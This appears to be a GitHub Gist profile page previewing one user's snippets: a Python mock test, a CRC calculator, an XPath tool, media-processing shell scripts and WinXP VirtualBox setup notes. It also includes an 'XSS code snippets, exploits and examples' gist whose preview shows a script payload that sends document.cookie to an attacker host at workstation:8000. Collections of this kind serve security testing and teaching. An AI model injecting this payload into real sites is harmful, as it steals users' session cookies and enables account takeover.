Skip to content

Instantly share code, notes, and snippets.

View 0xquad's full-sized avatar

Alex Just Alex 0xquad

  • Synlabs Consulting Inc.
  • Montreal, Quebec, Canada
View GitHub Profile
@0xquad
0xquad / EXAMPLES.md
Created January 18, 2016 20:21
XSS code snippets, exploits and examples

Cross-Site Scripting Examples

Simple

<script>(new Image()).src='http://workstation:8000/'+document.cookie</script>

Embedding a CDATA markup

@0xquad
0xquad / testgenerator.py
Created March 27, 2016 16:48
Testing generators with unittest Mocks
#!/usr/bin/env python
def func():
return subfunc()
def subfunc():
return 0
@0xquad
0xquad / isocrc.c
Last active March 27, 2016 17:10
ISO1443A/B CRC calculation
/*
* (c) 2014, Alexandre Hamelin
* Last revised: 17 sep 2014
*/
#include <stdio.h>
#include <string.h>
#include "iso14443crc.h"
int main(int argc, char *argv[])
@0xquad
0xquad / genarray.py
Created March 27, 2016 17:11
Generate an array of bytes based on different strategies
#!/usr/bin/env python
def dump(stream):
for i in range(len(stream)):
print('{:02x}'.format(stream[i]), end='')
print()
@0xquad
0xquad / xpath.py
Created April 8, 2016 13:42
XPath selection tool in Python
#!/usr/bin/env python
import sys
from lxml.etree import parse, fromstring, tostring, _Element
def print_result(result):
if type(result) is list:
for e in result:
@0xquad
0xquad / imgresize.sh
Created November 16, 2016 06:56
Generate thumbnails from an image directory
#!/bin/sh
# Copyright (c) 2016, Alexandre Hamelin <alexandre.hamelin gmail.com>
# Generate thumbnails from a directory.
[[ $# -ge 2 ]] || {
echo "usage: $0 size images... (ex: 160 1.jpg 2.jpg)"
exit 1
}
[[ $(type -t convert) == file ]] || {
@0xquad
0xquad / dump-audiocd.sh
Last active October 27, 2022 21:19
CD rip script that uses cdda2wav and lame
#!/bin/sh
#
# Rip an audio CD to MP3 complete with ID3 tags. Requires cdda2wav and lame.
#
# Copyright (c) 2016-2022, Alexandre Hamelin <alexandre.hamelin gmail.com>
# Check requirements
for bin in cdda2wav lame; do
type -Pp $bin >/dev/null || {
#!/bin/sh
# Splits an AV file with multiple chapters into separate files.
# Copyright (c) 2017, Alexandre Hamelin <alexandre.hamelin gmail.com>
[[ $# -gt 0 ]] || exit 1
file=$1
[[ -f "$file" ]] || exit 2
ext=${file##*.}
@0xquad
0xquad / SAMPLE.csv
Last active March 18, 2017 04:52
Parse ffprobe output and print results in predictable format
meta major_brand mp42
meta minor_version 512
chapter 0:0 start=0 end=20 title=TITLE-0-0
chapter 0:1 start=20 end=112.64 title=TITLE-0-1
stream 0:0 v c:h264~yuv420p~640x352~699kb/s~25fps language=eng default
stream 0:1 a c:aac~44100hz~stereo~131kb/s language=eng default
stream 0:2 v c:mjpeg~yuvj520p~405x600
stream 0:3 a c:aac~44100hz~stereo~122kb/s language=eng
stream 0:4 s c:mov_text~640x52 language=eng default
stream 0:5 s c:mov_text~640x52 language=fra default
@0xquad
0xquad / WinXP-SP3-VBox.md
Last active March 11, 2025 17:45
Install a minimal version of WinXP SP3 in VirtualBox

Install an optimized size version of WinXP SP3 in VirtualBox

  1. Create a new vm
    • WinXP SP2
    • 1GB RAM
    • 40GB dynamic disk, .vdi or other
    • shared folder to the host (C:\ or /)
    • for QHD displays, set the VM zoom factor to 200% for this VM
  2. Mount fr_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-73982.iso or any other WinXP installation file to the optical drive